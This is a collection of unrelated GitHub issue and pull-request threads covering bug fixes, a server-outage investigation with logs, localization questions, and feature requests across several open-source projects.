I'm hoping to disable any tests that still need to be overhauled so we can rely on Travis to tell us when we've accidentally broke something like this!

It seems that bond, angle were added as required arguments to:

_torsion_log_pmf where they are not used
_propose_torsion where they are not used
_torsion_logp where they are not used

Perhaps you added these for debugging purposes only, but just forgot to remove them? Is it safe to get rid of these?

Yes, I used these for debugging and forgot to remove them.  Apologies.
These can be removed.
On Sat, May 4, 2019 at 14:50 John Chodera<EMAIL_ADDRESS>wrote:

It seems that bond, angle were added as required arguments to:

_torsion_log_pmf where they are not used
_propose_torsion where they are not used
_torsion_logp where they are not used

Perhaps you added these for debugging purposes only, but just forgot to
remove them? Is it safe to get rid of these?
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/choderalab/perses/pull/538#issuecomment-489354590,
or mute the thread
https://github.com/notifications/unsubscribe-auth/ALGE3XWSHVIXNQQWR6GRV53PTXLGXANCNFSM4HHHUB7A
.

Thanks! Will do so in #536!


Above the fold feed block degrades LCP

Feedblock feches the index to render items. For uncached scenarios, this can degrade the LCP. E.g..
https://main--sunstar--hlxsites.hlx.live/jp/_drafts/satyam/test

I tried to fix this by only getting the first Count items from the query but unfortunately this won't guarantee that those items will also include what your feed block is looking for (correct category, tag w/e), in case anybody else also had the same idea

I tried to fix this by only getting the first Count items from the query but unfortunately this won't guarantee that those items will also include what your feed block is looking for (correct category, tag w/e), in case anybody else also had the same idea

Yes true, there might be cases where the query needs to reach beyond the first index page to gather the results.


bubble up QuotaExceededError instead of AbortError: Transaction aborted

Fixes #323
Rather than throwing Unhandled rejection: AbortError: Transaction aborted when the user is out of disk space, the underlying transaction error (QuotaExceededError) is bubbled up. This allows consumers of the Dexie API to identify QuotaExceededErrors and handle them accordingly.
NOTE: I used http://www.cylog.org/utilities/filldisk.jsp to fill up my hard disk to try this code locally.

Thanks @CraigCav ! This is wonderful.


Production system unavailable

The production online tools was unavailable on 25 July 2022.
The system is back up through a restart of the AWS EC2 instance and restarting the docker image.
The original cause of the downtime is under investigation.

The following error was found in the std-err container logs - not sure if this is related to the downtime:

Traceback (most recent call last):
  File "/spdx/src/app/formatxml.py", line 253, in <module>
    process(fname)
  File "/spdx/src/app/formatxml.py", line 101, in process
    ser = fmt(blocks)
  File "/spdx/src/app/formatxml.py", line 166, in fmt
    indent = l * config['lvl_indent']
UnboundLocalError: local variable 'l' referenced before assignment
Traceback (most recent call last):
  File "/spdx/src/app/formatxml.py", line 253, in <module>
    process(fname)
  File "/spdx/src/app/formatxml.py", line 101, in process
    ser = fmt(blocks)
  File "/spdx/src/app/formatxml.py", line 166, in fmt
    indent = l * config['lvl_indent']
UnboundLocalError: local variable 'l' referenced before assignment
Traceback (most recent call last):
  File "/spdx/src/app/formatxml.py", line 253, in <module>
    process(fname)
  File "/spdx/src/app/formatxml.py", line 101, in process
    ser = fmt(blocks)
  File "/spdx/src/app/formatxml.py", line 166, in fmt
    indent = l * config['lvl_indent']
UnboundLocalError: local variable 'l' referenced before assignment
Traceback (most recent call last):
  File "/spdx/src/app/formatxml.py", line 253, in <module>
    process(fname)
  File "/spdx/src/app/formatxml.py", line 101, in process
    ser = fmt(blocks)
  File "/spdx/src/app/formatxml.py", line 166, in fmt
    indent = l * config['lvl_indent']
UnboundLocalError: local variable 'l' referenced before assignment
Traceback (most recent call last):
  File "/spdx/src/app/formatxml.py", line 253, in <module>
    process(fname)
  File "/spdx/src/app/formatxml.py", line 101, in process
    ser = fmt(blocks)
  File "/spdx/src/app/formatxml.py", line 166, in fmt
    indent = l * config['lvl_indent']
UnboundLocalError: local variable 'l' referenced before assignment
Traceback (most recent call last):
  File "/spdx/src/app/formatxml.py", line 253, in <module>
    process(fname)
  File "/spdx/src/app/formatxml.py", line 101, in process
    ser = fmt(blocks)
  File "/spdx/src/app/formatxml.py", line 166, in fmt
    indent = l * config['lvl_indent']
UnboundLocalError: local variable 'l' referenced before assignment
Traceback (most recent call last):
  File "/spdx/src/app/formatxml.py", line 253, in <module>
    process(fname)
  File "/spdx/src/app/formatxml.py", line 101, in process
    ser = fmt(blocks)
  File "/spdx/src/app/formatxml.py", line 166, in fmt
    indent = l * config['lvl_indent']
UnboundLocalError: local variable 'l' referenced before assignment

The following errors were in the std-out for the Docker image - likely unrelated to the downtime:
08:04:13.379 [Thread-65] ERROR org.apache.jena.rdf.model.impl.RDFDefaultErrorHandler - (line 687 column 75): {E211} Base URI is null, but there are relative URIs to resolve.: <LicenseRef-BSD-3-Clause-UC>
08:04:13.380 [Thread-65] ERROR org.apache.jena.rdf.model.impl.RDFDefaultErrorHandler - (line 706 column 67): {E211} Base URI is null, but there are relative URIs to resolve.: <LicenseRef-GPL-2.0>
08:04:13.380 [Thread-65] ERROR org.apache.jena.rdf.model.impl.RDFDefaultErrorHandler - (line 713 column 68): {E211} Base URI is null, but there are relative URIs to resolve.: <LicenseRef-LGPL-2.0>
08:04:13.380 [Thread-65] ERROR org.apache.jena.rdf.model.impl.RDFDefaultErrorHandler - (line 720 column 65): {E211} Base URI is null, but there are relative URIs to resolve.: <LicenseRef-Xming>
08:04:13.417 [Thread-65] ERROR org.spdx.spdxRdfStore.RdfSpdxDocumentModelManager - Error getting single value.  Multiple values for property fileName ID SPDXRef-file7b3eac4e7def3b3bffa60a3870b50034.
08:04:13.417 [Thread-65] ERROR org.spdx.spdxRdfStore.RdfSpdxDocumentModelManager - Error getting single value.  Multiple values for property licenseConcluded ID SPDXRef-file7b3eac4e7def3b3bffa60a3870b50034.
08:04:13.419 [Thread-65] ERROR org.spdx.spdxRdfStore.RdfSpdxDocumentModelManager - Error getting single value.  Multiple values for property fileName ID SPDXRef-file7b3eac4e7def3b3bffa60a3870b50034.
08:04:13.419 [Thread-65] ERROR org.spdx.spdxRdfStore.RdfSpdxDocumentModelManager - Error getting single value.  Multiple values for property fileName ID SPDXRef-file7b3eac4e7def3b3bffa60a3870b50034.
08:04:13.425 [Thread-65] ERROR org.spdx.spdxRdfStore.RdfSpdxDocumentModelManager - Error getting single value.  Multiple values for property fileName ID SPDXRef-filef1c730a52fed8182847b459c8a7cccef.
08:04:13.426 [Thread-65] ERROR org.spdx.spdxRdfStore.RdfSpdxDocumentModelManager - Error getting single value.  Multiple values for property licenseConcluded ID SPDXRef-filef1c730a52fed8182847b459c8a7cccef.
08:04:13.427 [Thread-65] ERROR org.spdx.spdxRdfStore.RdfSpdxDocumentModelManager - Error getting single value.  Multiple values for property fileName ID SPDXRef-filef1c730a52fed8182847b459c8a7cccef.
08:04:13.427 [Thread-65] ERROR org.spdx.spdxRdfStore.RdfSpdxDocumentModelManager - Error getting single value.  Multiple values for property fileName ID SPDXRef-filef1c730a52fed8182847b459c8a7cccef.
08:04:13.434 [Thread-65] ERROR org.spdx.spdxRdfStore.RdfSpdxDocumentModelManager - Error getting single value.  Multiple values for property fileName ID SPDXRef-file215ba888327b0e6333d6419b8de60e8e.
08:04:13.435 [Thread-65] ERROR org.spdx.spdxRdfStore.RdfSpdxDocumentModelManager - Error getting single value.  Multiple values for property licenseConcluded ID SPDXRef-file215ba888327b0e6333d6419b8de60e8e.
08:04:13.435 [Thread-65] ERROR org.spdx.spdxRdfStore.RdfSpdxDocumentModelManager - Error getting single value.  Multiple values for property copyrightText ID SPDXRef-file215ba888327b0e6333d6419b8de60e8e.
08:04:13.436 [Thread-65] ERROR org.spdx.spdxRdfStore.RdfSpdxDocumentModelManager - Error getting single value.  Multiple values for property fileName ID SPDXRef-file215ba888327b0e6333d6419b8de60e8e.
08:04:13.437 [Thread-65] ERROR org.spdx.spdxRdfStore.RdfSpdxDocumentModelManager - Error getting single value.  Multiple values for property fileName ID SPDXRef-file215ba888327b0e6333d6419b8de60e8e.
08:51:30.225 [Thread-17] ERROR org.spdx.spreadsheetstore.SpdxSpreadsheet - I/O error reading SPDX Spreadsheet
java.io.IOException: Your InputStream was neither an OLE2 stream, nor an OOXML stream
        at org.apache.poi.ss.usermodel.WorkbookFactory.create(WorkbookFactory.java:258) ~[tool.jar:?]
        at org.apache.poi.ss.usermodel.WorkbookFactory.create(WorkbookFactory.java:221) ~[tool.jar:?]
        at org.spdx.spreadsheetstore.SpdxSpreadsheet.<init>(SpdxSpreadsheet.java:107) [tool.jar:?]
        at org.spdx.spreadsheetstore.SpreadsheetStore.deSerialize(SpreadsheetStore.java:339) [tool.jar:?]
        at org.spdx.tools.Verify.verify(Verify.java:126) [tool.jar:?]
12:59:08.482 [Thread-90] ERROR org.spdx.spreadsheetstore.SpdxSpreadsheet - Spreadsheet version SPDX-2.2 not supported.
13:46:35.869 [Thread-12] ERROR org.spdx.spreadsheetstore.SpdxSpreadsheet - Spreadsheet version SPDX-2.2 not supported.
WARNING: sun.reflect.Reflection.getCallerClass is not supported. This will impact performance.
16:22:37.898 [main] ERROR org.apache.jena.rdf.model.impl.RDFDefaultErrorHandler - (line 6073 column 73): {E211} Base URI is null, but there are relative URIs to resolve.: <SPDX Document created by ScanCode Toolkit>
16:22:38.145 [main] ERROR org.apache.jena.rdf.model.impl.RDFDefaultErrorHandler - (line 14751 column 50): {E211} Base URI is null, but there are relative URIs to resolve.: <SPDXRef-001>
16:22:38.788 [main] ERROR org.spdx.spdxRdfStore.SpdxOwlOntology - http://spdx.org/rdf/terms#licenseName is not an SPDX property
19:06:55.343 [Thread-67] ERROR org.apache.jena.rdf.model.impl.RDFDefaultErrorHandler - (line 2 column 11): Open quote is expected for attribute "xmlns:rdf" associated with an  element type  "rdf:RDF".
Verification errors were found in /spdx/src/app/media/AnonymousUser/1657706197/talko.spdx.  See verification errors sheet for details.
Verification errors were found in /spdx/src/app/media/AnonymousUser/1657706197/talko-premium.spdx.  See verification errors sheet for details.
WARNING: sun.reflect.Reflection.getCallerClass is not supported. This will impact performance.
18:05:52.251 [Thread-25] ERROR org.apache.jena.rdf.model.impl.RDFDefaultErrorHandler - (line 1 column 1): Content is not allowed in prolog.
18:07:02.015 [Thread-9] ERROR org.apache.jena.rdf.model.impl.RDFDefaultErrorHandler - (line 1 column 1): Content is not allowed in prolog.
23:41:16.876 [Thread-29] ERROR org.spdx.spreadsheetstore.SpdxSpreadsheet - Required cell Package Download Location missing for row 1 in PackageInfo sheet.
04:19:22.626 [Thread-76] ERROR org.spdx.spreadsheetstore.SpdxSpreadsheet - I/O error reading SPDX Spreadsheet
java.io.IOException: Your InputStream was neither an OLE2 stream, nor an OOXML stream
        at org.apache.poi.ss.usermodel.WorkbookFactory.create(WorkbookFactory.java:258) ~[tool.jar:?]
        at org.apache.poi.ss.usermodel.WorkbookFactory.create(WorkbookFactory.java:221) ~[tool.jar:?]
        at org.spdx.spreadsheetstore.SpdxSpreadsheet.<init>(SpdxSpreadsheet.java:107) [tool.jar:?]
        at org.spdx.spreadsheetstore.SpreadsheetStore.deSerialize(SpreadsheetStore.java:339) [tool.jar:?]
        at org.spdx.tools.SpdxConverter.convert(SpdxConverter.java:151) [tool.jar:?]
04:20:21.294 [Thread-32] ERROR org.apache.jena.rdf.model.impl.RDFDefaultErrorHandler - (line 1 column 1): Content is not allowed in prolog.
WARNING: sun.reflect.Reflection.getCallerClass is not supported. This will impact performance.
11:15:29.693 [Thread-1] ERROR org.apache.jena.rdf.model.impl.RDFDefaultErrorHandler - (line 1 column 1): Content is not allowed in prolog.
11:41:10.685 [Thread-157] ERROR org.spdx.spdxRdfStore.RdfSpdxDocumentModelManager - ID  does not exist in the model.
21:37:21.917 [Thread-39] ERROR org.spdx.jacksonstore.JacksonSerializer - Invalid ID SPDXRef-@vue/babel-sugar-v-model.  Must be an SPDX Identifier or Anonymous
21:40:25.111 [Thread-41] ERROR org.spdx.jacksonstore.JacksonSerializer - Invalid ID SPDXRef-vue/babel-sugar-functional-vue.  Must be an SPDX Identifier or Anonymous
21:42:22.244 [Thread-42] ERROR org.spdx.jacksonstore.JacksonSerializer - Invalid ID SPDXRef-vue/babel-sugar-functional-vue.  Must be an SPDX Identifier or Anonymous
21:43:04.784 [Thread-43] ERROR org.spdx.jacksonstore.JacksonSerializer - Invalid ID SPDXRef-types/q.  Must be an SPDX Identifier or Anonymous
21:44:09.224 [Thread-44] ERROR org.spdx.jacksonstore.JacksonSerializer - Invalid ID SPDXRef-types/q.  Must be an SPDX Identifier or Anonymous
21:44:49.699 [Thread-45] ERROR org.spdx.jacksonstore.JacksonSerializer - Invalid ID SPDXRef-ttskch/select2-bootstrap4-theme.  Must be an SPDX Identifier or Anonymous
21:45:23.496 [Thread-46] ERROR org.spdx.jacksonstore.JacksonSerializer - Invalid ID SPDXRef-soda/get-current-script.  Must be an SPDX Identifier or Anonymous
21:45:49.099 [Thread-47] ERROR org.spdx.jacksonstore.JacksonSerializer - Invalid ID SPDXRef-sweetalert2/theme-bootstrap-4.  Must be an SPDX Identifier or Anonymous
XML Parse Error: syntax error: line 1, column 0
XML Parse Error: syntax error: line 1, column 0
XML Parse Error: no element found: line 1, column 38
XML Parse Error: undefined entity &xxe;: line 4, column 51
XML Parse Error: undefined entity &xxe;: line 4, column 51
14:40:31.235 [Thread-164] ERROR org.apache.jena.rdf.model.impl.RDFDefaultErrorHandler - (line 1 column 1): Content is not allowed in prolog.

I found this in the syslog:
Jul 25 17:16:34 ip-172-31-6-122 systemd[1]: Started Unattended Upgrades Shutdown.

And several networking related messages:

Jul 25 17:16:37 ip-172-31-6-122 systemd-timesyncd[593]: Network configuration ch
anged, trying to establish connection.
Jul 25 17:16:37 ip-172-31-6-122 systemd-udevd[1344]: link_config: autonegotiatio
n is unset or enabled, the speed and duplex are not writable.
Jul 25 17:16:37 ip-172-31-6-122 systemd-udevd[1344]: Could not generate persiste
nt MAC address for veth3d8a564: No such file or directory
Jul 25 17:16:37 ip-172-31-6-122 systemd-udevd[1352]: link_config: autonegotiatio
n is unset or enabled, the speed and duplex are not writable.
Jul 25 17:16:37 ip-172-31-6-122 systemd-udevd[1352]: Could not generate persiste
nt MAC address for veth309a3b7: No such file or directory
Jul 25 17:16:37 ip-172-31-6-122 systemd-timesyncd[593]: Network configuration ch
anged, trying to establish connection.
Jul 25 17:16:37 ip-172-31-6-122 systemd-timesyncd[593]: Network configuration ch
anged, trying to establish connection.

Not sure if it is related

More evidence of network errors from syslog:
Jul 25 06:35:14 ip-172-31-6-122 snapd[9129]: autorefresh.go:528: Cannot prepare
auto-refresh change due to a permanent network error: persistent network error:
Post https://api.snapcraft.io/v2/snaps/refresh: dial tcp: lookup api.snapcraft.i
o: Temporary failure in name resolution
Jul 25 06:35:14 ip-172-31-6-122 snapd[9129]: stateengine.go:149: state ensure er
ror: persistent network error: Post https://api.snapcraft.io/v2/snaps/refresh: d
ial tcp: lookup api.snapcraft.io: Temporary failure in name resolution
Jul 25 07:00:14 ip-172-31-6-122 snapd[9129]: autorefresh.go:528: Cannot prepare
auto-refresh change due to a permanent network error: persistent network error:
Post https://api.snapcraft.io/v2/snaps/refresh: dial tcp: lookup api.snapcraft.i
o: Temporary failure in name resolution
Jul 25 07:00:14 ip-172-31-6-122 snapd[9129]: stateengine.go:149: state ensure er
ror: persistent network error: Post https://api.snapcraft.io/v2/snaps/refresh: d
ial tcp: lookup api.snapcraft.io: Temporary failure in name resolution

From the code, looks like UnboundLocalError: local variable 'l' referenced before assignment can happen if m.group('level') is false
def fmt(blocks):
    bregexp = re.compile(r'((?P<level>\d+)#)?(?P<paragraph>.*)')
    ser = ''
    for line in blocks.split('\n'):
        if line == '':
            continue
        m = bregexp.match(line)
        if m.group('level'):
            l = int(m.group('level'))
        else:
            logger.error('Block without level: "{}"'.format(line))
        par = m.group('paragraph')
        if par == '':
            continue
        indent = l * config['lvl_indent']
        width = config['max_width'] - indent
        for fmtline in to_lines(par, width):
            ser += indent * ' ' + fmtline + '\n'
    return ser

Hi Gary,
thank you for providing the online service of the SPDX tools. This is really great. However I am currently no able to access them anymore. I am using as URL https://tools.spdx.org/ but I always get "ERR_TIMED_OUT". Do I have the wrong URL?
Another question: I recently tried to validate a mid sized SPDX Tag-Value file (11.2 MB) and always got the error cannot connect to the system - is there a limitation in size for validation?

Thanks @OliverFendt for reporting the error.  I just checked and the server itself is down.  I'm rebooting it now.  Later tonight I'll see if I can find a cause for the outage.

@OliverFendt This server is back up

@goneall yes, it is working again. Thank you very much for taking care

I took a look at the system logs and didn't see any clues as to why the server was down.
I added an alert to send me an email if this situation happens again.

Closing this issue as it hasn't happened in a while


Add WPULL_MONITOR_DISK/MEMORY env vars

The defaults might not fit every pipeline and are a bit low when it
comes to large file downloads. Make them configureable.
I don’t know how to run the test suite though.

Sorry for taking so long to get back to this. Looks good. Have you had a chance yet to test it (preferably against a test control node)? The test suite is not particularly extensive, unfortunately...

I ran my last ondemand pipeline with this patch and it worked fine. Unfortunately there are still conditions (high concurrency) that cause the pipeline to run out of disk space and wpull to fail, so it does not fix the problem entirely.

Sounds good. Yeah, that can always happen if you catch large files, and there's not really a way to prevent that without changes in wpull.
I'll bump the pipeline version and merge.


How to localize the interface into another language

Hello,
I am loving your Collection Builder -- thanks a lot for creating this great software!
I am still testing it but I was wondering how could I localize the interface into Spanish -- things like the navigation tabs and the metadata tags, etc.
@jenniferisasi is also interested. We could team up somehow.
Thanks!

@arojascastro thanks for the question--we haven't built that ability in configuration, but it is not very difficult to edit the template. Most UI element labels are driven by choices in the config files or your metadata, so there are just a few places where you need to update the text labels of some buttons.
I think @owikle has a list of the exact places to update, so I will let her chime in. Eventually we will create a doc page with that information. (Or potentially create a means to configure the labels centrally?)
Here is a recent demo example in Turkish, https://digitalottomans.github.io/demo/

Thank you! @jenniferisasi and I will look in soon -- any documentation or list with places would be a great help.

@arojascastro thanks for getting in touch! I recently sent some instructions to a user who wanted to change all of the buttons and default text to another language, and now I've just moved that content into our documentation so you can follow it there: https://collectionbuilder.github.io/cb-docs/docs/advanced/language/. It should get you started but it's still rough so if you have questions just let me know!
And as Evan mentioned, you can change text in the nav and in the metadata fields on the item pages using the config-csvs (https://collectionbuilder.github.io/cb-docs/docs/customization/).

Amazing! We will work a little on it and get back in case of doubt. You can close here if you want. Many thanks!


The column naming rules are too strict.

Hi, thanks for the great software.
I just have a suggestion regarding the input format.
In parse_genet.py line 157 to 161
158                     if header[eff_col-1] == 'BETA':
159                         beta = float(ll[eff_col-1])
160                     elif header[eff_col-1] == 'OR':
161                         beta = sp.log(float(ll[eff_col-1]))

restricts the eff size column to be either BETA or OR.
The column names could be often in lower case or have different names.
If the column name doesn't match either words, it returns an error
Traceback (most recent call last):
  File "/data02/hanbin973/susiex/SuSiEx/SuSiEx.py", line 232, in <module>
    main()
  File "/data02/hanbin973/susiex/SuSiEx/SuSiEx.py", line 175, in main
    sst_dict[pp] = parse_genet.parse_sumstats(param_dict['sst_file'][pp], ref_dict[pp], param_dict['chr'], param_dict['bp'],
  File "/data02/hanbin973/susiex/SuSiEx/parse_genet.py", line 167, in parse_sumstats
    sst_eff.update({snp: beta/se/n_sqrt})
UnboundLocalError: local variable 'beta' referenced before assignment

As my summary statistics are combined in a single file, mine has names 'BETA1', 'BETA2', 'BETA3', ... so on.
For my purpose I slightly changed the lines to
158                     if 'BETA' in header[eff_col-1]:
159                         beta = float(ll[eff_col-1])
160                     elif 'OR' in header[eff_col-1]:
161                         beta = sp.log(float(ll[eff_col-1]))

so that it handles the column names properly.
It would be better to have additional options to the script that accepts how the effect size is stored or that accepts custom names of the headers.
Thx.

Thanks for the suggestions! We are currently improving the software including shifting to a C++ implementation with more features requested by the users. We will try to incorporate your suggestions in the next release.

Hi hanbin973,
We have recently released an updated version of SuSiEx, which has been implemented in C++. We have addressed the issue you encountered with the column name requirement. SuSiEx now accepts column names with the "BETA" or "OR" prefix.


Fail agent quickly on startup if insufficient permissions to install BPF code or other privileged operations.

In order to be able to run the agent anywhere, including where there are insufficient permissions to load BPF code and perform other privileged operations, fail and block forever to avoid failure retry loop if there are insufficient permissions.
An example of what is logged when attempting to load BPF code fails due to insufficient permissions:
launching kernel collector...
< snip >
could not open bpf map: data_channel, error: Operation not permitted
2021-07-19 21:08:14.881823+00:00 error [p:015330 t:015330] Cannot initialize BPF program, res=-1
Insufficient permissions to perform a priviliged operation.
Priviliged operations include mounting debugfs, loading eBPF code and probes, etc.
Make sure to run as privileged user, and/or with --privileged flag or equivalant.
troubleshoot item operation_not_permitted (os=Linux,flavor=debian,headers_src=pre_installed,kernel=4.9.0-16-amd64): ProbeHandler couldn't load BPFModule: Operation not permitted
Blocking to avoid failure retry loop.
Please reach out to Flowmill and include this log in its entirety so we can diagnose and fix
the problem.
2021-07-19 21:08:14.887814+00:00 error [p:015330 t:015330] BPFHandler threw exception when initializing BPF or loading probes, closing connection: ProbeHandler couldn't load BPFModule: Operation not permitted
To reach Flowmill customer support, please choose one of the contact methods below:

the shared Slack channel that has been setup between your company and flowmill.slack.com;

email<EMAIL_ADDRESS>prefixing the subject with "Kernel Collector Issue: ".

If possible, please include these logs in the message, along with a description of the problem
you're encountering so we can better support you.
2021-07-19 21:08:14.887843+00:00 error [p:015330 t:015330] troubleshoot item operation_not_permitted (os=Linux,flavor=debian,headers_src=pre_installed,kernel=4.9.0-16-amd64): ProbeHandler couldn't load BPFModule: Operation not permitted
And on the Flowmill server:
2021-07-19 21:08:09.878867+00:00 info [p:000001 t:000021] (0) kernel collector at 'stretch' successfully authenticated
2021-07-19 21:08:14.888461+00:00 error [p:000001 t:000019] client log from kernel collector 0.9.4012 at 'stretch': BPFHandler threw exception when initializing BPF or loading probes, closing connection: ProbeHandler couldn't load BPFModule: Operation not permitted
2021-07-19 21:08:14.888491+00:00 error [p:000001 t:000019] client log from kernel collector 0.9.4012 at 'stretch': troubleshoot item operation_not_permitted (os=Linux,flavor=debian,headers_src=pre_installed,kernel=4.9.0-16-amd64): ProbeHandler couldn't load BPFModule: Operation not permitted
2021-07-19 21:08:14.888509+00:00 info [p:000001 t:000019] Connection closed from kernel collector at 'stretch'
Question: should the "Flowmill customer support" contact information in the above logs be updated?

Tested several error paths:

std::system_error(EPERM) thrown from main.cc: mount_debugfs_if_required() EPERM returned from mount() - by running collector without --privileged flag
std::system_error(EIO) thrown from main.cc: before mount_debugfs_if_required() by modifying code
std::runtime_error thrown from main.cc: before mount_debugfs_if_required() by modifying code
std::system_error(EPERM) thrown from probe_handler_.start_bpf_module() in BPFHandler ctor by running collector without --privileged flag and with mount_debugfs_if_required() error handling code commented out
std::system_error(EIO) thrown from beginning of BPFHandler ctor by modifying code
std::runtime_error thrown from beginning of BPFHandler ctor by modifying code
std::system_error(EPERM) from BPFHandler::load_probes() by modifying code
std::system_error(EIO) thrown from from BPFHandler::load_probes() by modifying code
std::runtime_error thrown from from BPFHandler::load_probes() by modifying code


Update operator_parameters.md

main PR and bugfixes are merged, so Spilo  now supports this.

Coverage remained the same at 22.778% when pulling 7cbe693060cf4c4a642febe2266907b13937a29c on zerg-junior-patch-5 into a4224f6063995977197aa16eac4ea3d49bcd1c8b on master.


Support non-ENR temp tables in OBJECT_ID and OBJECT_NAME

Description
Adding the ability for the OBJECT_ID and OBJECT_NAME functions to see Non-ENR temp tables. Temp tables not in ENR will still be visible in pg catalogs, and so the OBJECT functions should be able to return information about then.
Issues Resolved
BABEL-4498 - Support non-ENR temp tables in OBJECT_ID and OBJECT_NAME.
Test Scenarios Covered
Expanded unit test coverage.
Check List

[ ] Commits are signed per the DCO using --signoff

By submitting this pull request, I confirm that my contribution is under the terms of the Apache 2.0 and PostgreSQL licenses, and grant any person obtaining a copy of the contribution permission to relicense all or a portion of my contribution to the PostgreSQL License solely to contribute all or a portion of my contribution to the PostgreSQL open source project.
For more information on following Developer Certificate of Origin and signing off your commits, please check here.

Pull Request Test Coverage Report for Build<PHONE_NUMBER>
Warning: This coverage report may be inaccurate.
We've detected an issue with your CI configuration that might affect the accuracy of this pull request's coverage report.
To ensure accuracy in future PRs, please see these guidelines.
A quick fix for this PR: rebase it; your next report should be accurate.

0 of 0   changed or added relevant lines in 0 files are covered.
No unchanged relevant lines lost coverage.
Overall coverage decreased (-0.001%) to 72.445%

Totals

Change from base Build<PHONE_NUMBER>:
-0.001%

Covered Lines:
40133

Relevant Lines:
55398

💛  - Coveralls

https://github.com/babelfish-for-postgresql/babelfish_extensions/pull/2292/
4x pr


Re-enable gem to work in Rails 3.

There are still apps, running on Rails 3 - thus, this PR could be useful.

Looks good. Thanks!


Updated to allow custom debounce rate

fixed bug with the input[type:search] remove button not de-selecting items
-- to recreate the original bug, use chrome. Start on a fresh page. Run a search for anything. Hover on the input bar, and a blue x will appear in teh right side. Click the x, the search is removed, as expected. However, click onto the background (outside of the search input), and suddenly the original search is back in the search bar.

fixed bug with the input[type:search] backspace delete not de-selecting items
-- to recreate the original bug, use chrome. Start on a fresh page, run a search for anything (and hit enter). Focus back in to the input bar, double click to select all, and hit "backspace". Data clears, now click on the background of the page again, and the original search is back in the search bar

updated css for the search bar, so when it is focused, the outline is gone. There were two css rules being triggered for focus, (rule from style.css#85) intended to apply react-interactive focus styles on the input itself, and then also from the combobox rule (style.css#137)

Added a customizable debounce parameter. I originally thought the ^ search issues was happening because the user was blurring the search content before the debounce time, but it ended up not fixing anything. However, I really like being able to override it, because 250ms seems like it's so long

Rename debounce and destructure

Testing this, I am seeing a bug - when hitting enter it clears the search. Do we need the ref at all, or can we just call clearSelection on Backspace?

Testing this, I am seeing a bug - when hitting enter it clears the search. Do we need the ref at all, or can we just call clearSelection on Backspace?

Unfortunately, we need the ref for when you hit the x button in chrome. It does not register as a keypress action. I think I pushed up a fix for this bug, would you mind trying it again?

Testing this, I am seeing a bug - when hitting enter it clears the search. Do we need the ref at all, or can we just call clearSelection on Backspace?

Unfortunately, we need the ref for when you hit the x button in chrome. It does not register as a keypress action. I think I pushed up a fix for this bug, would you mind trying it again?

This is working for me - thanks!


Spacing is tight on the task page

This should have more vertical spacing for the Submission count text:

This was addressed. Take a look, and let me know if you have more to say on this issue!

Yep this is better!
On Tue, Sep 20, 2022, 7:25 AM Daniel Strano @.***>
wrote:

Closed #667 https://github.com/unitaryfund/metriq-app/issues/667 as
completed.
—
Reply to this email directly, view it on GitHub
https://github.com/unitaryfund/metriq-app/issues/667#event-7422275376,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/ABHZDARKYUR2IN3PAKGVOJTV7G3LZANCNFSM55A7IIJA
.
You are receiving this because you authored the thread.Message ID:
@.***>


CTF 1 way variance compliance

** issue:**
a change in the code from 2 months ago  in the transition from version 2.3.1 to 2.3.2 add a line of code to the "ctf_client.sqf " file that makes it so that the flag drop zone is shown to both side durring the map breif when the flag starts in the attackers (flag carriers) zone. this make it so that the defenders know where the zone is and can establish defenses that would turn the area into a fortress.
if (playerside == phx_attackingSide || ctf_flagPole inArea _attackSpawnMark) then {
solution 1
revert the current line 58 of the ctf_client.sqf back to just having it not shown to defenders
if (playerside == phx_attackingSide) then {
*solution 2 *
add a variable in the gamemodes ctf file (...\mode_config\cft.sqf) that booleans if the capture zone is shown to defenders
ctf.sqf line 4 _showflagzone = false; // set to true to show the defenders where the zone is before attackers pick up the flag
&
ctf_client.sqf line 58 if (playerside == phx_attackingSide || _showflagzone) then {

https://github.com/FridayNightFight/FNF/commit/60a76f566f248aa9cb220d8180ca6b46bbe93e7b


Request: Calculate credit balance

I only signed up this morning but as I understand it you need to pay $80 each month regardless of the "Period cost" and any extra solar feed-in tariff is just rolled over to the next month as credit. It would be interesting to display this also.

It isn't clear from the contract whether they operate this way or not; regardless, I have implemented this and as you would expect it doesn't really change anything overall.
Once I get a few bills over Summer I guess I can see how they actually bill.

Thanks!
Well it gives me much different results. I'm still happy with the plan but based on my historical data I would have ended up with a large amount of credit at certain times over summer.
Period	Sun usage	Moon usage	Export		Period cost	Carried forward
2019-09	0.000kWh	62.280kWh	476.235kWh	$80.00		$55.74
2019-10	0.000kWh	82.424kWh	633.383kWh	$80.00		$129.92
2019-11	0.000kWh	155.162kWh	552.752kWh	$80.00		$186.42
2019-12	0.000kWh	109.804kWh	699.950kWh	$80.00		$266.54
2020-01	0.000kWh	132.892kWh	557.035kWh	$80.00		$325.80
2020-02	0.000kWh	124.695kWh	424.209kWh	$80.00		$368.60
2020-03	0.000kWh	138.330kWh	387.875kWh	$80.00		$405.33
2020-04	165.787kWh	255.524kWh	182.631kWh	$80.00		$372.78
2020-05	357.964kWh	386.279kWh	109.114kWh	$80.00		$281.78
2020-06	407.404kWh	360.036kWh	50.282kWh	$80.00		$176.49
2020-07	455.131kWh	451.242kWh	63.603kWh	$80.00		$54.98
2020-08	335.444kWh	428.905kWh	148.050kWh	$110.97		$54.98
2020-09	51.986kWh	258.480kWh	330.061kWh	$80.00		$62.57
2020-10	0.000kWh	147.705kWh	386.810kWh	$80.00		$98.23
2020-11	0.000kWh	144.989kWh	568.511kWh	$80.00		$157.79
2020-12	0.000kWh	170.803kWh	559.197kWh	$80.00		$213.57
2021-01	0.000kWh	393.707kWh	472.908kWh	$80.00		$236.07
2021-02	40.394kWh	456.903kWh	292.933kWh	$80.00		$221.37
2021-03	159.636kWh	566.364kWh	243.004kWh	$80.00		$167.04
2021-04	278.542kWh	524.811kWh	162.616kWh	$80.00		$84.13
2021-05	250.247kWh	458.860kWh	130.798kWh	$80.00		$8.91
2021-06	217.020kWh	403.649kWh	91.391kWh	$139.75		$8.91
2021-07	239.452kWh	419.442kWh	104.435kWh	$143.81		$8.91
2021-08	164.477kWh	408.998kWh	209.466kWh	$115.10		$8.91
2021-09	0.000kWh	0.000kWh	28.069kWh	$80.00		$12.56

Any update on whether there is a minimum floor of $80 (the subscription fee) or whether feed-in tariffs can potentially cut into the $80?
I am reading their terms and as mentioned it's ambiguous - can we get an update from someone who has had some billing over summer?

Looking at my bills I believe I was wrong.

@tarceri Thanks - so feed-in credits can reduce the $80 monthly cost - nice


